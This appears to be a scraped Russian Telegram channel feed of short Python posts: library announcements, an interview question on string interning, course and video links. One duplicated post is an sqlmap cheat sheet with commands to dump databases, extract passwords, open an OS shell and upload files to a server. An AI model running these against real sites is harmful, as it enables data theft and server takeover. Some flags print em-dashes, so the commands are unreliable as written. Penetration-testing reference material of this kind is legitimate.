⚡️ Crawl4AI v0.2.77 🕷️🤖
Этот репозиторий на GitHub позволяет легко парить веб-страницы и получать выходные данные в форматах, удобных для LLM (JSON, очищенный HTML, markdown).
Особенности
• Поддерживает одновременный обход нескольких URL-адресов
• Извлекает и возвращает все медиатеги (изображения, аудио и видео)
• Извлекает все внешние и внутренние ссылки
• Извлекает метаданные со страницы
• Настраиваемые перехватчики для аутентификации, заголовков и изменений страницы перед сканированием
▪Github: https://github.com/unclecode/crawl4ai
▪Colab: https://colab.research.google.com/drive/1sJPAmeLj5PMrg2VgOwMJ2ubGIcK0cJeX?usp=sharing
@pythonl
@python_be1
Этот репозиторий на GitHub позволяет легко парить веб-страницы и получать выходные данные в форматах, удобных для LLM (JSON, очищенный HTML, markdown).
Особенности
• Поддерживает одновременный обход нескольких URL-адресов
• Извлекает и возвращает все медиатеги (изображения, аудио и видео)
• Извлекает все внешние и внутренние ссылки
• Извлекает метаданные со страницы
• Настраиваемые перехватчики для аутентификации, заголовков и изменений страницы перед сканированием
▪Github: https://github.com/unclecode/crawl4ai
▪Colab: https://colab.research.google.com/drive/1sJPAmeLj5PMrg2VgOwMJ2ubGIcK0cJeX?usp=sharing
@pythonl
@python_be1
👍1
Вот отличный пример для пет-проекта, где вы сможете изучить несколько библиотек одновременно и создать готовое решение для определенной задачи. Автор статьи поделился своим опытом разработки, инструментами, которые он использовал, и трудностями, с которыми он столкнулся. Также в статье приведена ссылка на репозиторий с исходным кодом.
https://habr.com/ru/articles/819477/
@python_be1
https://habr.com/ru/articles/819477/
@python_be1
Хабр
Как я создавал аудиоплеер на python с FFmpeg
Всех приветствую. Сегодня хочу поделиться опытом создания своего первого проекта на Python. Мой проект — это простой аудиоплеер, и я хочу рассказать, как я его создавал, с какими сложностями...
👍1
❓ Как механизм interning влияет на сравнение строк в Python? Приведите пример, когда использование оператора == и оператора is для строк дает разные результаты. В каких случаях это знание может быть полезно?
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@python_be1
<spoiler>❗️</spoiler><spoiler> В Python существует механизм interning, который используется для оптимизации хранения и сравнения строк. Interning автоматически применяет к коротким строкам, строкам с символами только из алфавита или строкам, которые часто используются в программе. Это означает, что такие строки могут быть закэшированы, и вместо создания нового объекта Python будет использовать уже существующий.
</spoiler><spoiler>💡</spoiler><spoiler> Когда строка подвергается интернированию, все переменные, которые ссылаются на одну и ту же строку, фактически указывают на один и тот же объект в памяти. В этом случае операторы == (сравнение по значению) и is (сравнение по идентификатору объекта) будут возвращать одинаковый результат. Но если строки не закэшированы или были созданы динамически, то is может вернуть False, даже если строки равны по значению (==).
Пример:
</spoiler><pre language="python"># Строки, созданные вручную (будут интернированы)
a = "hello"
b = "hello"
print(a == b) # True, так как значения строк одинаковы
print(a is b) # True, так как строки интернированы и ссылаются на один объект
# Строки, созданные динамически (не всегда интернированы)
x = "".join(["hel", "lo"])
y = "hello"
print(x == y) # True, значения одинаковы
print(x is y) # False, так как x и y — это разные объекты в памяти</pre><spoiler>
Когда это знание полезно:
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация памяти: Понимание работы интернирования позволяет эффективнее использовать память, особенно при работе с большим количеством однотипных строк.
</spoiler><spoiler>🌟</spoiler><spoiler> Оптимизация скорости: Оператор is работает быстрее, чем == для строк, но его можно безопасно использовать только тогда, когда гарантированно известно, что строки интернированы (например, ключи в словарях или имена атрибутов).
</spoiler><spoiler>🌟</spoiler><spoiler> Избегание ошибок: Если случайно использовать is вместо == для сравнения строк, особенно созданных динамически, это может привести к неожиданному поведению программы.</spoiler>
@python_job_interview
@python_be1
👍1
🖥 Flet — фреймворк для создания кроссплатформенных приложений на Python
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@python_be1
— <code>pip install flet</code>
Flet — фреймворк, предоставляющий Flutter компоненты для разработки кроссплатформенных приложений на Python (разработчики обещают расширять список поддерживаемых языков).
Flet не использует какие-то SDK, не компилирует код Python в код Dart и весь UI отображается с помощью встроенного Web сервера.
🖥 GitHub (https://github.com/flet-dev/flet)
🟡 Доки (https://flet.dev/docs/)
@pythonl
@python_be1
👍1
pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@python_be1
https://github.com/pocketpy/pocketpy
Это легковесный интерпретатор Python 3.x, предназначенный для написания игровых скриптов. Легко встраивается в проекты с помощью одного заголовочного файла и не требует внешних зависимостей.
https://github.com/pocketpy/pocketpy
@python_be1
https://github.com/pocketpy/pocketpy
GitHub
GitHub - pocketpy/pocketpy: Portable Python 3.x Interpreter in Modern C for Game Scripting
Portable Python 3.x Interpreter in Modern C for Game Scripting - pocketpy/pocketpy
👍1
👩💻 Построение графика цены акций в виде японских свеч с использованием библиотеки yfinance
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@python_be1
▪ Github (https://github.com/ranaroussi/yfinance)
@pythonl
@python_be1
👍1
Что делает метод truncate()?
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@python_be1
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
Метод truncate() из модуля os позволяет обрезать файл по указанному пути path, устанавливая его длину не более length байтов.
Синтаксис:
os.truncate(path, length), где path — строка, представляющая путь к файлу в файловой системе, а length — целое число, определяющее размер в байтах.
Подробнее про этот метод здесь https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/.
@python_be1
https://docs-python.ru/standart-library/modul-os-python/funktsija-truncate-modulja-os/
🔐 Шпаргалка по использованию sqlmap
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@python_be1
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
🌟 Базовый скан URL на наличие уязвимостей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1"</pre>
🌟 Автоматический дамп всех баз данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —dbs</pre>
🌟 Извлечение таблиц из конкретной базы данных:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных —tables</pre>
🌟 Извлечение данных из конкретной таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —dump</pre>
🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —user-agent="Mozilla/5.0"</pre>
🌟 Подбор базы данных и получение информации о пользователях:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —current-db —current-user</pre>
🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —os-shell</pre>
🌟 Выполнение SQL-запросов вручную:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —sql-query "SELECT user, password FROM users"</pre>
🌟 Проверка на возможность подключения с правами администратора:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —is-dba</pre>
🌟 Брутфорсирование паролей пользователей:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —passwords</pre>
🌟 Загрузка файла на удаленный сервер:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —file-write="/path/to/local/file" —file-dest="/path/to/remote/file"</pre>
🌟 Получение списка столбцов из таблицы:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы —columns</pre>
🌟 Использование прокси-сервера:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —proxy="http://127.0.0.1:8080"</pre>
🌟 Определение используемой базы данных и версии:
<pre language="shell">
sqlmap -u "http://example.com/page.php?id=1" —banner</pre>
🌟 Атака на POST-запросы (если параметры передаются в теле):
<pre language="shell">
sqlmap -u "http://example.com/login.php" —data="username=admin&password=admin"</pre>
@linuxkalii
@python_be1
👍1
✔️ YOLO11: новая эра в компьютерном зрении.
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@python_be1
Компания Ultralytics представила YOLO11, новейшую версию своей знаменитой модели искусственного интеллекта для компьютерного зрения.
YOLO11 поддерживает широкий спектр задач CV: обнаружение объектов, сегментацию экземпляров, классификацию изображений, оценку позы, обнаружение ориентированных объектов (OBB) и отслеживание объектов. Модель получила улучшенное извлечение признаков.
YOLO11m достигает более высокого балла средней средней точности (mAP) в наборе данных COCO, используя на 22% меньше параметров, чем YOLOv8m.
YOLO11 вскоре будет доступна через Ultralytics HUB и пакет Ultralytics Python.
ultralytics.com (https://www.ultralytics.com/ru/blog/ultralytics-yolo11-has-arrived-redefine-whats-possible-in-ai)
@python_be1
👍1
🖥 Курс по основам программирования Linux (https://stepik.org/course/548/promo?search=5483640478) предлагает уникальную возможность изучения не только теории, но и практики работы с операционной системой. В рамках курса вы научитесь управлять процессами, писать сетевые приложения, а также узнаете, как Linux работает с многопоточностью.
Помимо этого, курс предоставляет доступ к реальным инструментам, которые активно используются разработчиками со всего мира. Вы сможете изучить системные вызовы и понять, как взаимодействуют между собой программы в ОС.
Этот курс — настоящая находка для начинающих программистов: ссылка на курс (https://stepik.org/course/548/promo?search=5483640478). (https://stepik.org/course/548/promo?search=5483640478)
#курс #программирование #linux #ru
@python_be1
Помимо этого, курс предоставляет доступ к реальным инструментам, которые активно используются разработчиками со всего мира. Вы сможете изучить системные вызовы и понять, как взаимодействуют между собой программы в ОС.
Этот курс — настоящая находка для начинающих программистов: ссылка на курс (https://stepik.org/course/548/promo?search=5483640478). (https://stepik.org/course/548/promo?search=5483640478)
#курс #программирование #linux #ru
@python_be1
👍1
🔍 Нотация Big O 101: Секрет написания эффективных алгоритмов
О-большое (Big O) – это специальная нотация, используемая для описания асимптотической сложности; то есть, скорости роста времени выполнения алгоритма с увеличением размера входных данных.
Это нужно, чтобы понимать, насколько быстро или медленно работают алгоритмы. В О-большом нет коэффициентов, минут, секунд и так далее. Об этом будет наглядно показано в примере про логарифмическую сложность O(log n).
@python_be1
О-большое (Big O) – это специальная нотация, используемая для описания асимптотической сложности; то есть, скорости роста времени выполнения алгоритма с увеличением размера входных данных.
Это нужно, чтобы понимать, насколько быстро или медленно работают алгоритмы. В О-большом нет коэффициентов, минут, секунд и так далее. Об этом будет наглядно показано в примере про логарифмическую сложность O(log n).
@python_be1
👍1
🖥 Новый тренд программирования в Python – LangChain
LangChain — это мощная библиотека, которая облегчает создание приложений на основе языковых моделей. Она позволяет интегрировать различные компоненты: от работы с API до обработки текста и динамического создания запросов к LLM через API.🌐
🔍 Подробности об использовании LangChain (https://python.langchain.com/docs/introduction/)
💡 С помощью LangChain можно легко создавать ассистентов, chatbots и многое другое. Не упустите шанс изучить его возможности!
@pythonl (http://t.me/pythonl)
@python_be1
LangChain — это мощная библиотека, которая облегчает создание приложений на основе языковых моделей. Она позволяет интегрировать различные компоненты: от работы с API до обработки текста и динамического создания запросов к LLM через API.🌐
🔍 Подробности об использовании LangChain (https://python.langchain.com/docs/introduction/)
💡 С помощью LangChain можно легко создавать ассистентов, chatbots и многое другое. Не упустите шанс изучить его возможности!
@pythonl (http://t.me/pythonl)
@python_be1
👍1
🖥 TurboAsync
Этот проект - попытка создать многопоточный цикл обработки событий, совместимый с asyncio.
То есть вы, наконец, сможете использовать asyncio и сделать его многопоточным!
Тут объяснение, (https://www.neilbotelho.com/blog/multithreaded-async.html) в котором подробно описано, почему и как работает этот проект.
🔗 Github (https://github.com/NeilBotelho/turboAsync)
@pythonl (https://t.me/pythonl)
@python_be1
Этот проект - попытка создать многопоточный цикл обработки событий, совместимый с asyncio.
То есть вы, наконец, сможете использовать asyncio и сделать его многопоточным!
Тут объяснение, (https://www.neilbotelho.com/blog/multithreaded-async.html) в котором подробно описано, почему и как работает этот проект.
🔗 Github (https://github.com/NeilBotelho/turboAsync)
@pythonl (https://t.me/pythonl)
@python_be1
👍1
👩💻 Пет-проект (https://www.youtube.com/watch?v=gBfkX9H3szQ) на Python за 50 минут. Курс по FastAPI для начинающих (2024)
💡 В видео рассматривается создание простого проекта на Python с использованием FastAPI. Обсуждаются основные концепции, такие как маршрутизация, обработка запросов и использование зависимости. Программа охватывает создание RESTful API, работу с параметрами, развертывание приложения через Docker а также интеграцию с базой данных. Также приведены советы по развертыванию приложения и тестированию. Это видео подходит для начинающих, желающих быстро освоить FastAPI
🕞 Продолжительность: 50:00
🇷🇺 Видео на русском языке!
🔗 Ссылка: *клик* (https://www.youtube.com/watch?v=gBfkX9H3szQ)
#курс #python #docker #fastapi
@python_job_interview
@python_be1
💡 В видео рассматривается создание простого проекта на Python с использованием FastAPI. Обсуждаются основные концепции, такие как маршрутизация, обработка запросов и использование зависимости. Программа охватывает создание RESTful API, работу с параметрами, развертывание приложения через Docker а также интеграцию с базой данных. Также приведены советы по развертыванию приложения и тестированию. Это видео подходит для начинающих, желающих быстро освоить FastAPI
🕞 Продолжительность: 50:00
🇷🇺 Видео на русском языке!
🔗 Ссылка: *клик* (https://www.youtube.com/watch?v=gBfkX9H3szQ)
#курс #python #docker #fastapi
@python_job_interview
@python_be1
👍1
Математика в запросах SQL
В SQL-запросах есть возможность использовать результаты математических вычислений, причем мы можем как выводить результаты математических вычислений в SELECT, так и использовать математические выражения в условиях отбора строк WHERE. В этом видеоуроке автор подробно разбирает данную функцию.
Смотреть это видео на youtube: youtu.be/4BnxMB-VtVY
@python_be1
https://youtu.be/4BnxMB-VtVY
В SQL-запросах есть возможность использовать результаты математических вычислений, причем мы можем как выводить результаты математических вычислений в SELECT, так и использовать математические выражения в условиях отбора строк WHERE. В этом видеоуроке автор подробно разбирает данную функцию.
Смотреть это видео на youtube: youtu.be/4BnxMB-VtVY
@python_be1
https://youtu.be/4BnxMB-VtVY
YouTube
Урок 14. SQL. Математика в запросах.
В запросах SQL мы можем использовать результаты математических вычислений
причем мы можем выводить результаты математических вычислений, так и использовать математические выражения
в уловиях отбора строк WHERE
тестовая среда https://apex.oracle.com/pls/apex/…
причем мы можем выводить результаты математических вычислений, так и использовать математические выражения
в уловиях отбора строк WHERE
тестовая среда https://apex.oracle.com/pls/apex/…
👍1